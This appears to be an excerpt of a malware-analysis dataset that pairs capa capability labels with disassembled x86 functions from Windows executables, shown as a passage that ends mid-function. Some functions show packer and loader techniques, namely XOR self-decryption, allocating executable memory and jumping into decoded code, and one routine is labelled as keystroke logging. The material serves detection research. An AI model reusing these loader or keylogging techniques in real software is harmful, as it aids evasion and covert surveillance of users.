joyce8/EMBER2024-capa huggingface dataset:
Function at 0x9302e4
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x9302ea
pop ebp
sub ebp, 6
sub ebp, 0x5302e4
jmp 0x930348
jmp 0x930351
mov eax, 0x5302e4
add eax, ebp
add eax, 0x93
mov ecx, 0x62c
mov edx, 0x7e053492
xor byte [eax], dl
inc eax
dec ecx
jne 0x930368
jmp 0x93037b
clc
sar dl, cl
xchg edx, eax
adc byte [edx + 0x5e92fa92], 0xbe
xchg edx, eax
adc esp, dword [edx + 0x35]
invalid
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x401c66
pop dword [ebp - 0x18]
mov eax, 0xa03bbdfa
add eax, 0x60045e6c
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0xe231ba4b
sub dword [ebp - 0x28], 0x93df7500
mov dword [ebp - 0x24], 0x14d64a69
add dword [ebp - 0x24], 0x1d5d01dc
mov dword [ebp - 0x20], 0x5a043b08
sub dword [ebp - 0x20], 0xdb7f6da
mov dword [ebp - 0x1c], 0xecd63560
add dword [ebp - 0x1c], 0x1329caa0
lea eax, [ebp - 0x28]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0xd2abd146
add dword [ebp - 0x28], 0xa1c69810
mov dword [ebp - 0x24], 0x16bb9913
add dword [ebp - 0x24], 0x2ab0c862
mov dword [ebp - 0x20], 0xa1801be9
add dword [ebp - 0x20], 0xc1ef5083
mov dword [ebp - 0x1c], 0x5516c219
sub dword [ebp - 0x1c], 0x5516c219
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0x1e32f487
sub eax, 0x1df2c45b
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x39aaa
push 0
call eax
mov ecx, 0xe5f1076e
sub ecx, 0xe5f0b2b0
mov edx, eax
mov edi, 0x61841143
add edi, 0x9ebc5ebd
add edi, dword [ebp - 0x18]
mov esi, 0x2ca7f519
sub dword [ebp - 0xc], ecx
mov ebx, dword [edi]
add dword [ebp - 0x14], esi
xor ebx, esi
xor dword [ebp - 8], 0x73e9e4a9
mov dword [edx], ebx
xor dword [ebp - 0x10], 0x633fe287
add edx, 0xf9817607
sub edx, 0xf9817603
add edi, 4
loop 0x401d7d
add eax, 0x145cb
xor ebx, ebx
add ebx, eax
add eax, 0xcd4f777c
add eax, 0x32b08889
mov ecx, 0x400000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408f6c
mov ecx, 0x323112a3
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42e3d0
mov ecx, 0x12322ca2
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x401981
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x401990
pop dword [ebp - 0x3c]
mov eax, 0x5d7537c8
sub eax, 0x5d351e38
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x5a69ad53
sub dword [ebp - 0x4c], 0xc176808
mov dword [ebp - 0x48], 0xc80922a
add dword [ebp - 0x48], 0x25b2ba1b
mov dword [ebp - 0x44], 0xe2d2d4f1
sub dword [ebp - 0x44], 0x968690c3
mov dword [ebp - 0x40], 0x9ea62e78
add dword [ebp - 0x40], 0x6159d188
lea eax, [ebp - 0x4c]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x425cd88f
sub dword [ebp - 0x4c], 0xcdea6f39
mov dword [ebp - 0x48], 0x820ce1e8
sub dword [ebp - 0x48], 0x40a08073
mov dword [ebp - 0x44], 0x7537c33f
add dword [ebp - 0x44], 0xee37a92d
mov dword [ebp - 0x40], 0xa7c2de5f
add dword [ebp - 0x40], 0x583d21a1
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0xb55b60ef
add eax, 0x4ae56f5d
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x38231
push 0
call eax
mov ecx, 0x4262
mov edx, eax
mov edi, 0xe2954fac
sub edi, 0xe2539fac
add edi, dword [ebp - 0x3c]
mov esi, 0xc02f4033
add esi, 0x7170314f
mov dword [ebp - 0x18], 0x14512598
mov ebx, dword [edi]
xor dword [ebp - 8], 0x20c4157
add ebx, esi
sub dword [ebp - 8], 0xc28dad08
mov dword [edx], ebx
sub dword [ebp - 4], eax
add edx, 0x9714d99e
sub edx, 0x9714d99a
add edi, 4
loop 0x401aa7
add eax, 0xf1941b98
add eax, 0xe6ce0c3
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xb061afe3
add ecx, 0x4fde501d
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret

Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53
Function at 0x100136f
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebx
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadUILanguage]
mov esi, dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 8
mov ebx, 0x1007df0
push ebx
push 0xf
mov edi, 0x400
push edi
call esi
test eax, eax
jne 0x10013a8
push 0x1001160
push 8
push ebx
call sub.msvcrt.dll_wcscpy_s
add esp, 0xc
push 8
mov ebx, 0x1005dc0
push ebx
push 0xe
push edi
call esi
test eax, eax
jne 0x10013c9
push 0x100115c
push 8
push ebx
call sub.msvcrt.dll_wcscpy_s
add esp, 0xc
mov esi, dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xfffffffffffffff6
call esi
push 0
mov dword [0x1008e20], eax
call fcn.0100130b
push 0xfffffffffffffff5
mov dword [0x1007e00], eax
call esi
push 1
mov dword [0x1008e28], eax
call fcn.0100130b
push 0xfffffffffffffff4
mov dword [0x1007de0], eax
call esi
push 2
mov dword [0x1008e24], eax
call fcn.0100130b
pop edi
pop esi
mov dword [0x1005dd0], eax
pop ebx
ret

Function at 0x10014b1
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword [ebp + 8], 0
push ebx
push esi
lea eax, [ebp + 0x10]
push edi
mov dword [ebp - 4], eax
mov edi, 0x1000
mov esi, 0x1005de0
je 0x10014ec
push dword [ebp + 8]
push edi
push esi
call sub.msvcrt.dll_wcscpy_s
push 0x1001164
push edi
push esi
call sub.msvcrt.dll_wcscat_s
add esp, 0x18
jmp 0x10014f4
xor eax, eax
mov word [0x1005de0], ax
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, eax
lea eax, [ebp - 4]
push eax
mov eax, edi
sub eax, ebx
push eax
lea eax, [ebx*2 + 0x1005de0]
push eax
push 0
push dword [ebp + 0xc]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
cmp dword [0x1005dd0], 0
mov dword [ebp - 8], eax
je 0x1001540
push 0
lea ecx, [ebp + 8]
push ecx
add eax, ebx
push eax
push esi
push dword [0x1008e24]
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
jmp 0x1001566
mov edi, 0x1007e20
push edi
push esi
call dword [sym.imp.USER32.dll_CharToOemW]
push 0
lea eax, [ebp + 8]
push eax
mov eax, dword [ebp - 8]
add eax, ebx
push eax
push edi
push dword [0x1008e24]
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop edi
pop esi
pop ebx
test eax, eax
jne 0x1001573
call dword [sym.imp.KERNEL32.dll_GetLastError]
leave
ret
Function at 0x100185c
Capabilities:
Set file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileW]
push edi
push 0
mov edi, 0xa000000
push edi
push 3
pop ebx
push ebx
push 0
push ebx
push ebx
push dword [ebp + 8]
call esi
cmp eax, 0xffffffff
jne 0x1001940
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
je 0x100189e
or eax, 0xffffffff
jmp 0x1001940
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push edi
push ebx
push 0
push ebx
push 0x180
push dword [ebp + 8]
mov dword [ebp - 8], eax
call esi
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x1001896
lea ecx, [ebp - 0x3c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
test eax, eax
jne 0x10018da
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1001896
test byte [ebp - 0x3c], 1
jne 0x10018eb
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x10018cf
and dword [ebp - 0x3c], 0xfffffffe
push dword [ebp - 0x3c]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
je 0x10018cf
push 0
push edi
push ebx
push 0
push ebx
push ebx
push dword [ebp + 8]
call esi
push dword [ebp - 4]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, eax
call esi
cmp edi, 0xffffffff
je 0x1001896
or dword [ebp - 0x3c], 1
push dword [ebp - 0x3c]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x100193e
push edi
call esi
jmp 0x1001896
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x1003676
Capabilities:
Terminate process

Disassembly:
push 0x10
push 0x1003c08
call fcn.01003934
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov dword [ebp - 0x1c], ebx
mov edi, 0x1008e38
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
cmp eax, ebx
je 0x100348b
cmp eax, esi
jne 0x100347e
xor esi, esi
inc esi
mov dword [ebp - 0x1c], esi
jmp 0x100348e
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1003465
xor esi, esi
inc esi
mov eax, dword [0x1008e34]
cmp eax, esi
jne 0x10034a1
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x10034dc
mov eax, dword [0x1008e34]
test eax, eax
jne 0x10034d6
mov dword [0x1008e34], esi
push 0x1001130
push 0x1001124
call fcn.010033e2
pop ecx
pop ecx
test eax, eax
je 0x10034dc
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x10035a6
mov dword [0x1005044], esi
mov eax, dword [0x1008e34]
cmp eax, esi
jne 0x1003500
push 0x1001120
push 0x1001118
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x1008e34], 2
cmp dword [ebp - 0x1c], ebx
jne 0x100350d
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [0x1008e3c], ebx
je 0x100352e
push 0x1008e3c
call fcn.010038a9
pop ecx
test eax, eax
je 0x100352e
push ebx
push 2
push ebx
call dword [0x1008e3c]
push dword [0x100502c]
push dword [0x1005030]
push dword [0x1005028]
call fcn.01002e82
add esp, 0xc
mov dword [0x1005040], eax
cmp dword [0x1005034], ebx
jne 0x100358c
push eax
call dword [sym.imp.msvcrt.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x20], ecx
push eax
push ecx
call sub.msvcrt.dll__XcptFilter
pop ecx
pop ecx
ret
cmp dword [0x1005044], ebx
jne 0x100359a
call dword [sym.imp.msvcrt.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x1005040]
call fcn.01003979
ret
call fcn.01003a81
jmp 0x1003443
Function at 0x403070
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x565008], 0x8088405
inc edx
mov dword [ebx + 0x565008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x420ab8
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x420abe
ret

Function at 0x4e6e70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp + 8]
cmp dword [ebp + 0xc], 0
je 0x4e6f50
xor edx, edx
mov dword [ebx + 0x9434], edx
jmp 0x4e6eab
imul eax, eax, 0x2e90edd
inc eax
mov dword [ebx + edx*4 + 0x9234], eax
inc dword [ebx + 0x9434]
mov edx, dword [ebx + 0x9434]
cmp edx, 4
jb 0x4e6e97
mov eax, dword [ebx + 0x9234]
xor eax, dword [ebx + 0x923c]
shr eax, 0x1f
mov edx, dword [ebx + 0x9240]
add edx, edx
or eax, edx
mov dword [ebx + 0x9240], eax
mov dword [ebx + 0x9434], 4
jmp 0x4e6f11
mov edx, dword [ebx + eax*4 + 0x9224]
xor edx, dword [ebx + eax*4 + 0x922c]
add edx, edx
mov ecx, dword [ebx + eax*4 + 0x9228]
xor ecx, dword [ebx + eax*4 + 0x9230]
shr ecx, 0x1f
or edx, ecx
mov dword [ebx + eax*4 + 0x9234], edx
inc dword [ebx + 0x9434]
mov eax, dword [ebx + 0x9434]
cmp eax, 0x7f
jb 0x4e6ee1
xor eax, eax
mov dword [ebx + 0x9434], eax
jmp 0x4e6f45
mov eax, dword [ebx + esi*4 + 0x9234]
call fcn.004e44d0
mov edx, dword [ebx + 0x9434]
mov dword [ebx + edx*4 + 0x9234], eax
inc dword [ebx + 0x9434]
mov esi, dword [ebx + 0x9434]
cmp esi, 0x7f
jb 0x4e6f26
cmp dword [ebp - 8], 0
je 0x4e6faa
dec dword [ebp - 8]
mov eax, dword [ebx + 0x9434]
mov edx, eax
inc edx
and edx, 0x7f
mov edx, dword [ebx + edx*4 + 0x9234]
mov ecx, eax
add ecx, 0x41
and ecx, 0x7f
xor edx, dword [ebx + ecx*4 + 0x9234]
and eax, 0x7f
mov dword [ebx + eax*4 + 0x9234], edx
mov eax, dword [ebx + 0x9434]
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x9234]
mov edx, dword [ebp - 4]
xor dword [edx], eax
inc dword [ebx + 0x9434]
add dword [ebp - 4], 4
cmp dword [ebp - 8], 0
jne 0x4e6f56
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 8
Function at 0x40d7f0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x482e3b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0047785b
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x40d872
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0047559d
mov eax, dword [eax]
push 0x82bc54
push eax
call fcn.00468214
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.00477ae6
test bl, bl
je 0x40d872
push 0x82bc54
lea ecx, [esp + 0xc]
call fcn.00477e76
push 0x82bc60
lea ecx, [esp + 0xc]
call fcn.00477e76
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40d8ae
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.00477ae6
jmp 0x40d979
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40d932
lea edx, [esp + 0x7c]
push 0x82bc5c
push edx
call fcn.00468214
add esp, 8
test eax, eax
je 0x40d932
lea eax, [esp + 0x7c]
push 0x82bc58
push eax
call fcn.00468214
add esp, 8
test eax, eax
je 0x40d932
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40d8c2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.00477ae6
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40e180
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40e1e2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40e1f0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x482ebb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x8354c0]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40e328
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40e256
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00477ae6
xor eax, eax
jmp 0x40e39f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.00477c23
push esi
lea ecx, [esp + 0xc]
call fcn.00477eb2
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40e37d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.0040e180
test eax, eax
jne 0x40e37d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.0040e180
test eax, eax
jne 0x40e37d
lea eax, [esp + 0x14]
push 0x82bc70
push eax
call fcn.00469290
mov esi, eax
add esp, 8
test esi, esi
jne 0x40e35c
lea ecx, [esp + 0x14]
push 0x82bc6c
push ecx
call fcn.00469210
mov esi, eax
add esp, 8
test esi, esi
jne 0x40e35c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40e35f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.00477bd3
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40e26e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00477ae6
xor eax, eax
jmp 0x40e39f
mov byte [esi], 0
push 0x82bc68
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.00477ae6
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x41ea60
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41eace
cmp si, 0x69
ja 0x41eace
add esi, 0xffd0
cmp si, 0x11
je 0x41ea9e
push 0x11
call edi
test ax, ax
jge 0x41ea9e
or esi, 0x2000
cmp si, 0x10
je 0x41eab3
push 0x10
call edi
test ax, ax
jge 0x41eab3
or esi, 0x4000
cmp si, 0x12
je 0x41eac8
push 0x12
call edi
test ax, ax
jge 0x41eac8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41eadb
mov esi, 0xbd
jmp 0x41ea8f
cmp si, 0x6e
jne 0x41eae8
mov esi, 0xbe
jmp 0x41ea8f
cmp si, 0x6f
jne 0x41ea89
mov esi, 0xbf
jmp 0x41ea8f

Function at 0x420210
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x845c30]
xor edx, edx
cmp eax, edx
jne 0x420236
xor eax, eax
mov byte [eax + 0x845b30], al
inc eax
cmp eax, 0x100
jl 0x42021e
mov dword [0x845c30], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x845b30
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4202c7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x42029a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x420268
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x420340
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x420393
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x42037a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x427390
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle GetFileTitleA
cmp ebp, ebx
jle 0x427528
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x4273ee
dec eax
or eax, 0xfffffff8
inc eax
je 0x4273f5
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x427404
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x42740b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.00477827
add esp, 4
cmp eax, ebx
je RegCreateKeyExA
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.00477827
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x42751e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x427505
mov al, byte [edx]
cmp al, 0xc0
jbe 0x4274f1
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x4274e6
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x4274f4
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x4274f4
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x427490
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x427481
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x42aa70
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x484528
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x42aaa9
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.0047f1d4
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.0047f220
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
